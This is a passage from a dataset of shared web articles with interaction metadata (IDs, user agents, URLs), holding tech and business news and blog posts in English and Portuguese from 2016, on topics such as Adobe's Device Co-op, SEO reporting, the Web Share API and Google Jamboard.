non-refundable room on her laptop via the Acme website. Currently, most brands would continue to serve Sam ads for hotel rooms, not realizing that she'd already booked a room, and Sam would find these annoying. With participation in the Device Co-op, however, Acme can immediately stop advertising hotel rooms to Sam, and start giving her offers for hotel spa treatments, room upgrades, dinner discounts and tickets to local attractions such as Alcatraz. All of this will be possible without disclosing the user's identity. The Co-op will not share any personal data, such as name, email or phone number, or site visit data among its members, addressing a key privacy concern commonly associated with cross-device technologies. Consumers will have privacy controls that exceed industry standards. The Co-op will provide unprecedented transparency by giving consumers insights into participating brands, as well as all devices the Co-op associates with the device currently being used. ""One of the key cross-device challenges regulators, privacy advocates and technology companies have been grappling with is the ability to provide consumers with transparency and meaningful choice in an ecosystem that is increasingly complex,"" said Jules Polonetsky, CEO, Future of Privacy Forum. ""By ensuring that a consumer's choice will be respected across devices and displaying information in a way the typical consumer can easily understand, Adobe is serving publishers and marketers while respecting consumer privacy."" ""As the digital landscape has evolved toward a multi-device environment, the NAI has been closely examining new advertising technologies, and the privacy and self-regulatory challenges presented by them,"" said Leigh Freund, president and CEO, Network Advertising Initiative. ""Adobe has found a way to address the cross-device challenge in a privacy-friendly way that will benefit both advertisers and consumers. We commend Adobe's successful combination of a strong commitment to consumer privacy and business innovation."" ""Adobe is taking a thoughtful approach in its Device Co-op that follows the DAA's cross-industry standards,"" said Stuart Ingis, counsel to the Digital Advertising Alliance (DAA). ""Adobe is also providing an additional thoughtful approach that individually identifies for consumer those businesses that are working with Adobe, allowing a uniform choice to disconnect any device from its offering."" Helpful Links About Adobe Marketing Cloud Adobe Marketing Cloud empowers companies to use big data to effectively reach and engage customers and prospects with highly personalized marketing content across devices and digital touch points. Eight tightly integrated solutions offer marketers a complete set of marketing technologies that focus on analytics, web and app experience management, testing and targeting, advertising, audience management, video, social engagement and campaign orchestration. The tie-in with Adobe Creative Cloud makes it easy to quickly activate creative assets across all marketing channels. Thousands of brands worldwide including two-thirds of Fortune 50 companies rely on Adobe Marketing Cloud. About Adobe Adobe is changing the world through digital experiences. For more information, visit www.adobe.com . © 2016 Adobe Systems Incorporated. All rights reserved. Adobe and the Adobe logo are either registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries. All other trademarks are the property of their respective owners.",en
1477335469,CONTENT SHARED,7926736692763443624,361614354650880527,4679793081016376573,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",MG,BR,HTML,https://dashthis.com/blog/ultimate-guide-seo-reporting-basics/,The Ultimate Guide to SEO Reporting: Starting with the Basics,"Everyone in the business knows the basic gist of what search engine optimization (aka. SEO) is. However, most people don't use it to its full potential. Are you one of them? If so, let's change that, shall we? In this new article series, The Ultimate Guide to SEO Reporting, we'll be delving into more details on the subject: from the fundamentals of the perfect SEO reporting dashboard , to the ideal time-period to look at in your SEO reports, to choosing whether to manually or automatically create your reporting dashboards, with what tool ( DashThis perhaps?!), your SEO reporting process will never be the same. What is SEO? Basically, SEO is a set of guidelines that improve your web presence twofold: on the one hand, these guidelines help your website be found easily and quickly by your ideal target audience, and on the other hand, the guidelines also help improve usability and user experience. So why is this important? Well, for starters, it's proven that web users have a strong tendency to choose among the top few suggestions in the results page. If they don't find what they're looking for there, they will most likely change search keywords instead of looking any further in the results. All the more reason to use every tool you have to make sure that you're among those top for your chosen keywords and your selected target audience. Remember, it's impossible for you to be first in the search engine rankings for any and all combinations of your chosen keywords - there are too many factors involved in the algorithms that dictate search engine rankings. Something as simple as a user's search history can greatly alter the selection of the top five sites he/she will find when searching for specific keywords. However, the hundreds of factors taken into account in search engine algorithms are there to ensure that while you won't appear first in all searches, you can work to get to the top when a user fits into your target audience persona. And, since the vast majority of online shopping begins with a simple search , proper SEO can position you smack-dab in the middle of a consumer's' pre-purchase research process, which is precisely where you want to be as much as possible. In addition, sites that are more easily found on search engines will also be more readily promoted on social media networks; which makes the benefits of search engine optimization twofold. Optimization doesn't just affect your presence on search engines, it affects your ENTIRE online presence. And frankly, in 2016, how your business is found, reviewed, and interacted with online is the single most important factor in your success. Why should you devote your energy to your SEO? All you need to do is look at the numbers . While pay-per-click (PPC) marketing makes up almost 80% of the average SEM marketing budget, it only provides approximately 25% of the inbound traffic. On the flip-side, SEO drives the other 75% of the traffic, yet only receives 15 to 20% of the budget. In general, PPC marketing should be used in the short-term to fill the gaps you may have in your SEO, not as a long-term, ongoing plan. Clearly, there is enormous potential when it comes to SEO, so if you have some budget allocation to do, concentrating on optimizing your search engine visibility is the way to go to increase your traffic and notoriety. What are the basic principles of SEO? There are entire books written on SEO guidelines and how to best apply them to your web sites, so I won't get into too much detail here. However, in essence, these are the main points to cover during the optimization process: Page titles should be brief yet descriptive and accurate. You want the user to know exactly what he or she will find in the page. Page description meta tags are important and should be a short summary of what the page is about. Be careful not to simply repeat the title (since they'll be be seen together), nor to go over 160 characters (anything over and it will be cut off anyway). This is a type of page advertisement, so use the space wisely. Although these meta tags won't directly influence search ranking, it will encourage a user to click your link, which will increase click-through-rate, which will, in turn, influence search ranking. Along the same lines as the two points above, permanent link structure (aka. the format of the URLs) should be simple, short, and descriptive with proper keywords, with hyphens separating each word. Obviously, you don't want your users to get a 404 error page . However, it's bound to happen occasionally for various reasons. That's why it's important that the page they land on has a consistent design with the rest of your site, and that it offers the user the possibility to go directly to other pages of yours. Don't knock the effectiveness of images to increase your standing in search engine rankings; users use images in their searches more and more, so clearly your site's images need to be as optimized as the content. While captions are useful, so are the alt descriptions; don't overdo keywords, but use this space to properly describe the image so that it can be found quickly during image searches. All text formats are not created equal: using H1 for your titles, H2 for your main headings, and integrating keywords in both, is an important way to optimize your page's visibility on search engines for the keywords you're targeting. While adding bold and italic fonts won't directly affect your SEO, it will simplify the reading process for your user by allowing your main themes and points to come across in the first few seconds of landing on the page in question. User-friendly pages will be visited more often and for longer periods of time; this will therefore indirectly affect your SEO in a positive way. Internal and external links help create a web of connectivity from your website to the rest of the online world. It's important to ensure that this web is as extensive and clear as possible. To help inter-page navigation, your pages should include links that point to other pages of yours (provided the connection between the two is not only logical, but also helpful). In terms of external links, remember to occasionally check these links to make sure that they aren't broken or no longer in existence. Speaking of links, your off-site SEO is as important as your on-site SEO. Link-building, the process of getting incoming links from sites that aren't your own (called backlinks ), is arguably, the single most important factor affecting your SEO. Every year, Moz comes out with a comprehensive study of the most important search ranking factors, and back-linking and the like have consistently been at the top of the list. The web game changes over time, and one of the most important changes to address is the increase in traffic derived from mobile devices; mobile device usage has now overtaken desktop usage. With this in mind, it's crucial that your website have a responsive design that will be super easy to navigate no matter what device on which it is visited. If your site isn't optimized for mobile viewing, there's a strong chance that it won't even appear when users search on their mobile device. Finally, always remember that content is key : nothing mentioned above means much if the content on your site isn't well-written, thoughtful, concise and regularly updated. Search engine algorithms are becoming more and more capable of judging content as a human being would; and since every search engine's purpose is to understand what a user needs and deliver the best content based on that need, generating quality content should always be first and foremost in your SEO efforts. So, why is SEO reporting important? Honestly? Because how else are you going to determine if your SEO is working? Tracking your data in a quality SEO report is how you'll see the effectiveness of your SEO strategy, and your entire global web marketing strategy. While SEO alone can't help you become the next Amazon, conjointly with proper branding, social media marketing, PPC, paid media marketing, and even traditional advertising, it ensures the growth of your business. And, like many marketing endeavours, you can't think of SEO as a mere cost; it's an investment. An investment with great return. Because the great thing about SEO, when compared to other marketing methods, is that it has a tendency to increase revenue at a much higher rate than the costs it requires. Low-cost and high-returns? Clearly, SEO should be a priority. Stay tuned for the next part in The Ultimate Guide to SEO Reporting series, coming out next week! Like us on Facebook or Twitter to get the first glimpse!",en
1477351256,CONTENT SHARED,2531450382701518075,2416280733544962613,-562507774025970187,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",AB,CA,HTML,http://www.mckinsey.com/business-functions/strategy-and-corporate-finance/our-insights/where-how-much-and-how-answering-the-hardest-questions-of-resource-allocation,"Where, how much, and how: Answering the hardest questions of resource allocation","The challenge of resource allocation is determining where the resources will bring the most value, how much money and talent to redistribute, and how to put those shifts effectively into action. I recently listened to a CEO client lament his company's low growth and the difficulty in shifting resources from a mature business to new fast-growing ones. The challenge he faced is all too common: unit presidents protective of legacy businesses, strenuously arguing that reducing resources would endanger the company's biggest cash cows. Would the returns from investing in the new businesses justify this risk? And how much is really needed to get those businesses onto the growth fast track? These are essential questions when trying to ensure that the organization's money is working as hard as it possibly can. As I pointed out in my last post , the problem with resource allocation isn't ignorance of its importance-83 percent of executives we polled named it as the most critical management lever for spurring growth. The challenge lies in determining where the resources will bring the most value, how much money and talent to redistribute, and how to put those shifts effectively into action. Those overarching questions represent the three major phases of the reallocation process. Only by answering them with empirical rigor will you be able to get your team on board and embed the process into the organization. 1. Where to reallocate resources The first step is to create an analytical foundation on which you can build a strong case for resource shifts. This is essential to overcome resistance from losing parties and counter individual biases rooted in self-interest or mistaken assumptions. To identify and prioritize areas where boosting investment would generate the greatest impact for the whole organization, start by assessing the profitability and resource projections for every meaningful business cell. Managers tend to easily identify the opportunities with the biggest growth upside, but as I explained in an earlier LinkedIn post , growth doesn't guarantee value creation. To have a comprehensive view, you need to understand projected economic profit (the difference between ROIC and the company's weighted average cost of capital) for each business cell or, in some cases, build a full investment plan and calculate the net present value (NPV) of future cash flows. Then compare that to the resources needed to deliver the projected ROI. This analysis will indicate that some cells with high projected ROI are obvious candidates for acceleration. Others may be actually destroying value, suggesting it's time to reduce their resource share or even exit the business entirely. In between are businesses with positive but modest economic profit. A large organization may not need to closely analyze every one of these mid-range performers but it should at least look at ones that absorb a lot of resources. Are there better ways to optimize their return on investment? Now managers will realize this process will influence their budgets, so they will be tempted to inflate their projections or forecast stabilization after a period of decline. Accordingly, any discussions of their proposed strategic plans should start with the question: Why do you believe this improvement will happen? The best way we overcome the ""hockey stick"" pitfall is to create a baseline scenario based on objective data, looking at a business's performance track record and carrying that forward for several years to develop a ""momentum"" case. Factoring in management assumptions (where valid) and additional market and competitive insights can further refine the scenario-which often ends up looking very different than the manager's initial view. 2. How much resources to reallocate Determining the right magnitude of action is often harder than identifying the targets for it. The relationship between investment and return is not linear, as capturing some opportunities requires a major investment (in new IT systems, for example, or establishing a direct sales force). Conversely, if you want to lower your capital investment, you may still be stuck with some ""maintenance"" costs. Managers want to know the return on the marginal dollar but this non-linearity makes that impossible. In my experience, a pragmatic alternative is to approach resource shifts differently depending on whether they are candidates for increase or decrease. For underresourced cells, ask yourself: Is there additional market upside we're not capturing? It may be that ROI is high because you have a strong leadership position and to grow more you would have to increase the overall market demand-which may be possible in some areas but not in others. If there is upside, how much money and talent would you need to apply to tap it? Is the business case still attractive when you've factored in all the risks, such as a change in competitive dynamics or regulations? Would it be better to boost resources dramatically to drive a higher level of return or to be incremental? In some cases, gradual increases may suffice while other opportunities require big bets to gain meaningful market share. For overresourced cells, start by analyzing what's behind the low performance-is it an industry-wide issue or your company's problem? If your business is performing a lot worse than its peers, you need to understand what is holding it back. In rare cases, you may discover that the issue can be addressed by injecting more resources, with potentially high rewards. More often, it's a market problem or the company is facing a structural competitive disadvantage. If so, it's time to ask whether lower investment levels would bring the unit to an acceptable ROI-and if not, consider divestiture. 3. How to execute resource reallocation The fundamental goal of resource reallocation is to embed agility in the organization so it can move as opportunities shift. Many companies, however, face internal barriers, ranging from business leaders seeking to protect their turf to resources being embedded in ways that makes them hard to free up. For example, if you need to shift R&D investment, the existing people may not be the right fit or the facility may require an expensive relocation. How nimble resource allocation can double your company's value Read the article Here are some steps you can take to overcome internal resistance and fear of change. Clearly communicate to your team that dynamic reallocation is a priority and that decisions are final unless there is a material external change. Create a common language around resource reallocation that integrates it into the culture of ""how we do things"" and stresses its importance in realizing growth aspirations. Establish clear accountability between corporate-center and business-unit levels, and determine which resource decisions need whose approval, what gets monitored and reported, and what escalation mechanism will be used in case of delays. Regularly review the assumptions behind allocation decisions to make sure they still hold, both around new investment requests and previously allotted resources yet to be deployed. If managers are protesting decisions on resource allocation, is there a reason to update the assumptions? Consider organizational changes to improve resource flexibility, such as creating shared resource pools or enabling talent to be more easily redeployed. Embed dynamic resource reallocation into the planning process and management incentives. You want to make it necessary and beneficial for management to continuously seek ways to apply resources for the benefit of the overall company rather than their own fiefdoms. For example, ask every business cell to start next year's budget with 10 percent less in operating expenses; the combined amount becomes a central investment pool for which the cells compete. This article also appears on LinkedIn . About the author(s) Yuval Atsmon is a senior partner in McKinsey's London office. Article - McKinsey Quarterly",en
1477397297,CONTENT SHARED,722931447608069342,3609194402293569455,1881990395394393740,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/10/serasa-experian-realiza-hackathon-com-premios-de-ate-r10-mil/,Serasa Experian realiza hackathon com prêmios de até R$10 mil - Startupi,"A Serasa Experian realizará no próximo mês seu primeiro hackathon aberto a participantes externos. Para o evento, 80 participantes serão selecionados e se reunirão na sede da empresa, em São Paulo, entre 5 e 6 de novembro, para resolver desafios com foco em produtos e serviços ao consumidor. Os interessados em participar devem se inscrever até sexta-feira, 28, no site do hackathon . Os inscritos selecionados terão das 9 horas do dia 5 até às 18 horas do dia 6 para resolver os desafios, e as premiações totalizam R$ 30 mil (R$ 10 mil para cada um dos três desafios). Para se inscrever é necessário preencher um formulário online, ler o Regulamento, e assinar um Termo de Adesão. As ideias premiadas serão de uso exclusivo da Serasa Experian. Para definir os vencedores, o hackathon contará com uma equipe de jurados formada por profissionais da Serasa, incluindo o diretor do laboratório de inovação (DataLab) Marcelo Pimenta . Os participantes podem se inscrever individualmente ou em equipes. Os times formados devem conter de 5 a 10 participantes, sendo indicados ao menos dois desenvolvedores e um designer de UX na composição da equipe. Serão analisadas informações técnicas e comportamentais inseridas no momento da inscrição. Os 80 selecionados serão divulgados no dia 31 de outubr, próxima segunda-feira, no site do Experiance Jam. Como piloto, a Serasa organizou, em maio deste ano, um hackathon interno com participação de cerca de 100 funcionários e duração de 38 horas. O objetivo foi criar novas soluções para redução do tempo de atendimento do cliente e simplificação dos processos de autenticação no call center, tornando-os mais inteligentes e seguros. ""Os bons resultados obtidos no piloto, que contou com participação somente de funcionários, nos motivou a organizar o primeiro Experiance Jam aberto ao público externo"", explica Pimenta. A iniciativa faz parte da cultura de inovação da Experian. Os DataLabs da Experian proporcionam um ambiente seguro de parceria com os clientes para permitir a experimentação e inovação. A unidade de São Paulo, terceiro centro de inovação da Experian no mundo, tem ênfase nos segmentos de serviços financeiros, seguros, telecomunicações, saúde e varejo. Desafios Os desafios apresentados no Experiance Jam serão: Novos produtos : criar novos produtos e serviços da Serasa Experian para o consumidor; Aplicativo : propostas para promover o uso diário do aplicativo SerasaConsumidor, com criação de novas funcionalidades, Educação financeira : desenvolver um game, cuja finalidade é promover a educação financeira. Para mais informações, acesse a Agenda de Eventos Startupi .",pt
1477397357,CONTENT SHARED,-8885776096632729273,3609194402293569455,1881990395394393740,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.diolinux.com.br/2016/10/ubuntu-esta-preparado-para-IoT.html,Criador do Ubuntu diz que o sistema soluciona o problema de segurança na Internet das Coisas,"A Internet das Coisas ou IoT (em inglês) ainda não é uma completa realidade mas é um futuro muito palpável e o Ubuntu é um dos principais sistemas nesta nova onda, entretanto, existem algumas preocupações relacionadas a estas novas tecnologias, especialmente sobre a segurança e atualizações de software dessas plataformas. Mark Shuttleworth comentou na última OSCON sobre o papel do Ubuntu na tecnologia de ""internet das coisas"", alegando que com os pacotes Snap solucionam um dos maiores problemas de utilizar microssistemas em nossas casas para automatizar tarefas ""banais"" como abrir as cortinas, ligar as luzes, entre outras coisas. - Saiba mais sobre os pacotes Snap Diferente da ""primeira grande onda"" de tecnologia doméstica com os desktops da Apple e os primeiros computadores com Windows, a onda da ""internet das coisas"" não vem com sistemas proprietários ou que exijam que você pague uma quantia algo para tê-lo e o Ubuntu é um ponto chave de toda esta questão, Mark enfatizou que o modelo Snap é o ideal para este tipo de trabalho que permite atualizações práticas sem comprometer o sistema e possibilidade de reversão simples também em caso de problemas, mas mais do que isso, ele não alegou que o Snap seja necessariamente a melhor opção, mas que o futuro deve seguir nestes moldes. Leia também: FlatPak e Snap O Ubuntu Snappy é a versão do sistema da Canonical destinada ao IoT e ele tem sido muito bem aceito como o Ubuntu em servidores, segundo Shuttleworth cerca de 70% do Amazon Web Services, 80% dos sistemas Linux no Azure, 70% das imagens Docker e 65% de sistema OpenStack rodando o Ubuntu atualmente, o que segundo ele, demonstra o quão confiável o sistema é. Se formos segmentar, o Ubuntu é a distro mais preparada para internet das coisas atualmente, isso, mas eu espero que outras também comecem a correr por este caminho, afinal, onde temos competição, temos evolução. _____________________________________________________________________________ Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.",pt
1477397885,CONTENT SHARED,1829180586132834070,3609194402293569455,1881990395394393740,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/10/24/facebook-messenger-now-supports-paypal-payments-in-bots-will-track-your-paypal-receipts/,"Facebook Messenger now supports PayPal payments in bots, will track your PayPal receipts","PayPal is deepening its relationship with Facebook , and will now become one of the payment options within Messenger, among other integrations. That means customers who shop via the growing number of chatbots from online merchants will be able to transact on Messenger using PayPal's payment service. In addition, as part of this deal, PayPal says it will make it easier to link your PayPal account to Facebook and Messenger, and it will roll out support for receiving notifications about PayPal transactions to Messenger users in the U.S. PayPal's integration with Messenger had been previously announced . Facebook had been beta testing payments in Messenger with select developers, and said that it would roll out this capability more broadly by the end of the year. In addition, Messenger payments are not being limited to PayPal - customers can transact using their payment info already stored in Facebook and Messenger within the bots, as another option. Plus, Facebook has said it's working with others in the industry, including Stripe, Visa, Mastercard, and American Express, not just PayPal and PayPal-owned Braintree. Still, gaining a foothold in Messenger is a big step for PayPal, which could benefit from its exposure to Messenger's sizable user base. PayPal today has 192 million users worldwide, the company says. Meanwhile, Messenger reached a billion users earlier this year, and reports claim that about 40% of U.S. mobile users are now on Facebook's messaging platform. That being said, PayPal and Messenger's forthcoming integrations are U.S.-focused for the time being. PayPal will roll out as a payment option in Messenger only to U.S. users, and only U.S. users will be able to access their PayPal transactions and receipts from within Messenger, as well. This will change in the future, it seems, as PayPal tells us that the integrations are ""starting"" in the U.S., but declined to comment on the timeframe for international expansions. The Messenger integrations are beginning to roll out now in the U.S., PayPal says, however. Facebook has been working to better integrate payments into its platform for some time now. For example, in spring 2015 it debuted a way for Messenger users to add their own Visa or Mastercard payment information into its chat app in order to send peer-to-peer payments to friends. The move was meant to rival Snapchat's payments, as well as those p2p offerings from Square (Square Cash), Google Wallet, as well as PayPal itself, and its Venmo application. With this new deal, it would seem that Facebook is softening its competitive stance, but the company had earlier claimed it had no interest in building a payments business. Facebook and PayPal have partnered on other payment initiatives in the past, of course. Most recently, that was with Uber's integration into Messenger , allowing users to hail a ride through Facebook's messaging application. (In that case, PayPal-owned Braintree is powering those transactions.) And PayPal is used today by merchants who are buying Facebook ads, selling products directly on their Facebook Pages' ""Shop"" sections, and is a supported payment method on Facebook-owned Oculus's site.",en
1477406008,CONTENT SHARED,9209886322932807692,3609194402293569455,1881990395394393740,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://braziljs.org/blog/web-share-api/,Web Share API,"Recentemente, a equipe do Chrome anunciou que um de seus membros, o Matt Giuca , está trabalhando em uma proposta para uma simples API : o Web Share . Esta API permite que websites consigam invocar os recursos de compartilhamento nativos do Sistema Operacional. Um ponto importante da Web Share API é que o controle de onde e como os dados estão sendo compartilhados fica na mão do usuário. A partir da versão Beta do Chrome 55 - lançado em outubro de 2016, já é possível testar o Origin Trials , que permite integrar a Web Share API ao seu site. O Origin Trials significa que esta API geralmente não está disponível para todos os sites; em vez disso, você precisa se registrar para ter acesso durante a fase de testes. Durante este período, a API provavelmente vai mudar e pode quebrar de forma inesperada. Por isso, é importante o feedback da comunidade, sempre que possível, para que possam melhorar a API até uma versão completamente estável. A Web Share API é baseada em uma Promise , com um único método que recebe um objeto com propriedades nomeadas, sendo elas: title , text e url . Vamos à prática Segue um exemplo do funcionamento da API: Uma vez invocado, o método trará o selecionador nativo e permitirá que você compartilhe os dados com o aplicativo escolhido pelo usuário. Veja o vídeo de exemplo abaixo: A API traz consigo algumas restrições: Seu site precisa estar hospedado em um ambiente seguro (normalmente https); Você só precisa fornecer um texto ou URL, não ambos; Você só pode invocar a API, como resultado de uma ação do usuário. (Por exemplo, você não pode chamar o método navigator.share() no onload da página.); Os valores de propriedade que você passar para o API devem ser sempre Strings. Siga em frente A API ainda não está disponível em todas as plataformas, então você terá que lidar, com atenção, com os diferentes cenários em que você não tem a disponibilidade de chamar o método. Como o Paul Kinlan recomenda e já utiliza em seu blog , segue a seguinte abordagem para contornar esse ""problema"": Use seu serviço de compartilhamento preferencial através de um simples <a> (Com a URL do Twitter é um exemplo de fallback). Verifique a disponibilidade do API ( navigator.share !== undefined ). Aguarde até que o conteúdo esteja disponível e, em seguida, localize o elemento para compartilhar. Intercepte e previna o comportamento padrão do clique ( event.preventDefault() da função click ). Chame então o método da API ( navigator.share() ). Nosso HTML simples com o link de fallback: E o nosso JS adicionando o evento no click do link: Compartilhando a URL correta Vale lembrar que é importante pensar sobre a URL que desejamos compartilhar. Em muitos casos, o usuário poderá estar acessando o seu site através de um dispositivo móvel e seu site pode ter um ""m."" ou ""mobile."" na URL ou uma URL que é dinâmica para o contexto em que o usuário se encontra. Nesse caso, você pode usar a canonical URL na sua página para proporcionar uma melhor experiência para o usuário. Por exemplo, você pode fazer o seguinte: Conclusão Há um certo tempo, temos visto uma série de ""maneiras"" para invocar recursos de compartilhamento nativos das plataformas, mas todos eles têm desvantagens significativas, alguns como o Web Intents já foram até descontinuados por tais desvantagens. A Web Share API é ainda uma proposta, isso significa que futuramente ela pode também morrer, ser descontinuada e até substituída por uma alternativa melhor, mas essa é uma das vantagens da Web: Evolução constante e sempre pensando no que é melhor para todos. Recomendamos que utilize-a com moderação e fique atento às novidades, afinal de contas, queremos propor o melhor a nossos usuários, certo? Nós testamos a funcionalidade e criamos um exemplo ao qual você pode acessar (e testar) através da seguinte URL WebShare BrazilJS . E você, já experimentou essa funcionalidade? Compartilhe conosco como foi ou está sendo sua experiência nos comentários abaixo. Referências Segue alguns links úteis onde é possível obter mais informações sobre a Web Share API: Please enable JavaScript to view the",pt
1477408158,CONTENT SHARED,-5231736210378596444,-5639303336519418445,2744310459959598788,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://analytics.googleblog.com/2016/10/google-tag-manager-giving-mobile.html,Google Tag Manager: Giving Mobile Tagging a Little Extra Love,"Over the last several months, we have talked about Google Tag Manager's improvements to enterprise workflows, enhanced our security features, and made great strides to bring more partners into our Vendor Tag Template Program . Tag Manager also launched a new mobile SDK at Google I/O in May that builds on the power of Firebase, Google's mobile app developer platform. Today, we're excited to announce our latest efforts to make mobile tagging easier than ever with Google Tag Manager. Welcoming AMP to the Tag Manager family We are excited to launch support for ⚡ Accelerated Mobile Pages (AMP) in Google Tag Manager! AMP is an open-sourced initiative to make the mobile experience better for everyone. Early data shows that AMP pages load 4x faster and use 10x less data than equivalent non AMP pages. Starting today, you can start using Google Tag Manager to simplify your tag deployment on AMP sites. While implementing measurement solutions on AMP pages has already been possible, it can be confusing and cumbersome for folks who are new to AMP or who have tagging needs beyond tracking a basic page view. That's why, in addition to Google Analytics, AMP containers in Tag Manager provide support across Google's ad platforms including AdWords and DoubleClick. You will find more than 20 tag types available out of the box including a variety of 3rd party vendor tags. We also made sure that firing your tags is a breeze with great coverage of AMP's triggers as readily available built-in Tag Manager triggers: When setting up tags, it's common to want to collect additional values such as how far the user has scrolled down the page or the page's title. AMP Analytics' variables serve this purpose and are available in Google Tag Manager as built-in variables ready to be integrated into your tags. You can head over to our support pages for a full list of supported tags and information on how to use built-in variables . Getting started is as easy as it sounds: Create a new container for your AMP site Drop the Tag Manager snippet on your AMP pages Create your first tags Preview & Publish AMP containers are built with the familiarity and flexibility that existing Google Tag Manager users already depend on. As with our other solutions in Tag Manager, AMP containers ""just work"" out of the box. Improving Tag Manager for mobile apps When we announced Google Tag Manager's new SDK at Google I/O, we brought an integration method to Android and iOS apps that builds on the power of Firebase. This integration makes it easier than ever for developers and marketers to manage where their app data is sent, both within Google and to our supported Tag Template Vendors . New triggers for events Firebase automatically detects Today, we are making our mobile app containers even more intuitive and easy to use by tapping into the events that Firebase detects automatically. Now, when you are in a Firebase mobile container, you will see several new options when setting up triggers. Whether your container targets Android or iOS, you will see a new section called ""Firebase Automatic Events"" which contains the supported automatically detected events for the respective platforms. You can also find built-in variables for each of those events' parameters, so setting up your tags should be a cinch. Find parameters when you need them In addition to the events Firebase can detect automatically, developers are encouraged to implement general events for all apps as well as suggested events by app type to help them fully take advantage of Firebase features. Once implemented, you're able to use the parameters from these events in your tags: just create a new user-defined variable and select ""Event Parameter."" With this new feature, you no longer have to remember which parameters are available for which events. Select the event you're working with, and you get a list of available parameters. We are dedicated to providing you with best-in-class tag management. As consumers shift to mobile, our priorities include developing simple, easy-to-use solutions for the latest mobile technologies. Whether you are building mobile apps or adopting the AMP platform, we've got you covered. Posted by Ben Gram, Product Manager, Google Tag Manager",en
1477413080,CONTENT SHARED,-6119620726358216329,801895594717772308,1187982732286883323,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",MG,BR,HTML,https://www.wired.com/2016/10/google-jamboard-huge-4k-screen-can-scribble/,Google Jamboard Is a Huge 4K Screen You Can Scribble On,"Google is off to a solid start with the ""we make hardware now"" thing. The Pixel phone is great, Google Home and Google Wi-Fi look promising, and Chromecast is already really popular. Now comes Jamboard , a modern spin on an old-school tool: the whiteboard. The 55-inch 4K touchscreen is the first hardware product in Google's rebranded G Suite of cloud-based tools-you know, things like Gmail, Google Drive, and Google Docs. Those tools make long-distance collaboration easy online, but that can break down once everyone is in the same room. People have to agree which tool to use, and trying to sort it all out hampers spontaneity. ""We thought that might somehow limit creativity,"" says Jonathan Rochelle, director of product for G Suite. ""It made it so that when people wanted to be creative and collaborative, they can't do the same thing at the same time. That bothered us, because the reason you're in a meeting is to collaborate."" Others have riffed on the digital whiteboard-Sharp's Aquos Board and Microsoft's Surface Hub come to mind. The difference here is how Google's tools and cloud services tie it all together. Launch a Jamboard session and people can join in from anywhere using the Jamboard app on an Android or iOS device. They see a real-time feed from the board and can add text, photos, and drawings to the mix. The leader of the session can share it all with Google Hangout participants. The big-screen Jamboard session is essentially replicated on the tablet: You can add things, rearrange them, and pull in images or maps from a side menu. The interactions are limited on a phone, but you see everything on the board in real time, and you can add text or create digital sticky notes. One major limitation is that you can't really chip in on a laptop or desktop: You can watch a Jam session unfold in a browser, but you can only contribute via the mobile apps. You can drive a meeting from a tablet, but the massive Jamboard is the ultimate mission control. It includes two chunky passive stylii that feel like sidewalk chalk in your hand, and the screen is pressure-sensitive when you're writing on it. Magnets keep the stylii and microfiber eraser nestled on Jamboard's metal base, but don't worry if Steve from accounting swipes them. Any rubber-tipped stylus works, and you can use your hand to erase things. Everything is saved to Google Drive, an essential convenience because Jamboard doesn't have internal memory. Select the ""handwriting-to-text"" tool before you start scribbling and Jamboard does an impressive job converting your scrawl to searchable text. And it can straighten your lines, shapes, and symbols so everything looks neat and tidy. From the board, you can dial in participants via Google Hangouts and search for images, maps, videos, and web pages to drag and drop into a Jam session. An HD camera above the screen lets you snap pics or selfies, while HDMI inputs and built-in Chromecast let you Netflix and chill in the comfort of your boardroom. You'll need to wait a while before you buying this physical embodiment of Google Wave because it won't be widely available until next year. It'll cost less than $6,000 at that point, but you can register today to be part of the early-adopter program. In the meantime, you'll just have to use your analog whiteboard.",en
1477413098,CONTENT SHARED,6049739262059615567,-8845298781299428018,3890139773100173363,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://macmagazine.com.br/2016/10/25/review-apple-watch-series-2/,Review: Apple Watch Series 2 | MacMagazine.com.br,"Eu quase intitulei este artigo ""Review: Apple Watch Series 2, como o relógio da Maçã deveria ter sido em sua primeira geração"", mas não só é clichê demais como é óbvio que sempre gostaríamos de ter produtos melhores/mais bem-acabados em nossas mãos o quanto antes. A grande questão é que, quando almejamos perfeição de forma exacerbada, podemos acabar nos enrolando tanto a ponto de nunca realizar de fato um determinado projeto. A Apple, diferentemente do Google por exemplo, é uma empresa que prefere demorar mais a nos entregar produtos/serviços, mas quando o faz costuma entregar algo bem pensado/polido. O Apple Watch de primeira geração, no ano passado analisado em detalhes pelo Edu , não fugiu totalmente a essa regra. Para um produto totalmente novo, considero a nota de 7,3 dada por ele boa. Longe de excelente, é claro; mas o Apple Watch não conquistou rapidamente o primeiríssimo lugar entre smartwatches à toa. A Apple acertou a mão em inúmeros aspectos dele, embora houvesse muito espaço para melhorias. No Apple Watch Series 2 , junto ao watchOS 3 , a empresa se esforçou e conseguiu resolver boa parte das críticas em relação ao seu relógio. Neste review, falarei de cada uma delas. Nomenclaturas Antes de adentrar nas novidades do Apple Watch Series 2 em si, vamos falar 